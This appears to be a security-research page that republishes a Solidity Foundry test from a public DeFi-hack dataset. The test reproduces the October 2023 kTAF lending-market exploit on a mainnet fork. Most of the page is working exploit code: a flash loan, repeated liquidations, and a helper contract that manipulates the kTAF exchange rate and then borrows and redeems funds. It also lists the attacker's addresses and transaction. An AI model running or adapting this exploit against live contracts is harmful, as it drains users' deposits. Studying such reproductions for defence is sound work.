Public reproduction file
src/test/2023-10/kTAF_exp.sol
Public reproduction file for dataset entry kTAF.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$8K8// Attacker : https://etherscan.io/address/0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b199// Attack Contract : https://etherscan.io/address/0xa6d35c97bd00b99a962393408aaa9eb275a45c5e10// Vuln Contract : https://etherscan.io/address/0xf5140fc35c6f94d02d7466f793feb0216082d7e511// Attack Tx : https://etherscan.io/tx/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a413// @Analysis14// https://defimon.xyz/attack/mainnet/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a416interface ICErc20Immutable {17 function borrow(18 uint256 borrowAmount19 ) external returns (uint256);21 function borrowBalanceStored(22 address account23 ) external view returns (uint256);25 function liquidateBorrow(26 address borrower,27 uint256 repayAmount,28 address cTokenCollateral29 ) external returns (uint256);30}32interface IComptroller {33 function liquidateCalculateSeizeTokens(34 address cTokenBorrowed,35 address cTokenCollateral,36 uint256 actualRepayAmount37 ) external view returns (uint256, uint256);39 function enterMarkets(40 address[] memory cTokens41 ) external returns (uint256[] memory);42}44contract ContractTest is Test {45 IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);46 IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);47 IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5);48 ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5));49 ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769);50 IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3);51 address private constant borrower = 0x3cF7e9d9dCfeD77f295CF7A7F5539eC407D9a67d;53 function setUp() public {54 vm.createSelectFork("mainnet", 18_385_885);55 vm.label(address(Vault), "Vault");56 vm.label(address(DAI), "DAI");57 vm.label(address(kTAF), "kTAF");58 vm.label(address(kDAI), "kDAI");59 vm.label(address(Unitroller), "Unitroller");60 vm.label(borrower, "borrower");61 }63 function testExploit() public {64 emit log_named_decimal_uint("Attacker DAI balance before exploit", DAI.balanceOf(address(this)), DAI.decimals());66 emit log_named_decimal_uint("Attacker TAF balance before exploit", TAF.balanceOf(address(this)), TAF.decimals());68 address[] memory tokens = new address[](1);69 tokens[0] = address(DAI);70 uint256[] memory amounts = new uint256[](1);71 amounts[0] = 4000 * 1e18;72 Vault.flashLoan(address(this), tokens, amounts, bytes(""));74 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());76 emit log_named_decimal_uint("Attacker TAF balance after exploit", TAF.balanceOf(address(this)), TAF.decimals());77 }79 function receiveFlashLoan(80 address[] calldata tokens,81 uint256[] calldata amounts,82 uint256[] calldata feeAmounts,83 bytes calldata userData84 ) external {85 DAI.approve(address(kDAI), type(uint256).max);87 while (true) {88 uint256 repayAmount = kDAI.borrowBalanceStored(borrower) / 10;89 (, uint256 numCtokenCollateral) =90 Unitroller.liquidateCalculateSeizeTokens(address(kDAI), address(kTAF), repayAmount);92 if (numCtokenCollateral <= kTAF.balanceOf(borrower)) {93 kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF));94 } else {95 repayAmount =96 ((kDAI.borrowBalanceStored(borrower) / 10) * kTAF.balanceOf(borrower)) / numCtokenCollateral;97 kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF));99 while (DAI.balanceOf(address(kDAI)) > 1) {100 kTAF.redeem(kTAF.balanceOf(address(this)));101 ExploitHelper helper = new ExploitHelper();102 TAF.transfer(address(helper), TAF.balanceOf(address(this)));104 helper.start();105 kDAI.liquidateBorrow(address(helper), 1, address(kTAF));106 kTAF.redeem(1);107 }108 DAI.transfer(address(Vault), amounts[0]);109 break;110 }111 }112 }113}115contract ExploitHelper {116 ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769);117 ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5));118 IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);119 IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5);120 IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3);122 function start() external {123 address[] memory cTokens = new address[](1);124 cTokens[0] = address(kTAF);125 Unitroller.enterMarkets(cTokens);127 TAF.transfer(address(kTAF), 1);128 TAF.approve(address(kTAF), type(uint256).max);129 uint256 amountTAF = TAF.balanceOf(address(this));130 kTAF.mint(TAF.balanceOf(address(this)));131 kTAF.redeem(kTAF.balanceOf(address(this)) - 2);132 TAF.transfer(address(kTAF), TAF.balanceOf(address(this)));134 uint256 amountDAI = DAI.balanceOf(address(kDAI));135 if (amountDAI > 1320 * 1e18) {136 amountDAI = 1320 * 1e18;137 }138 kDAI.borrow(amountDAI);140 kTAF.redeemUnderlying(amountTAF);142 DAI.transfer(msg.sender, amountDAI);143 TAF.transfer(msg.sender, amountTAF);144 }145}Analysis
Dataset entry
Public Foundry test for “kTAF” (2023-10-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b19
- Attack Contract
0xa6d35c97bd00b99a962393408aaa9eb275a45c5e
- Attack Tx
0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4
File record
- Name
- kTAF
- Path
- src/test/2023-10/kTAF_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 377d353f40365e8d639bd522d8f00b25056e1590
- Language
- Solidity
- Size
- 146 lines
- Date
- 2023-10-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/kTAF_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 377d353f40365e8d639bd522d8f00b25056e1590, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.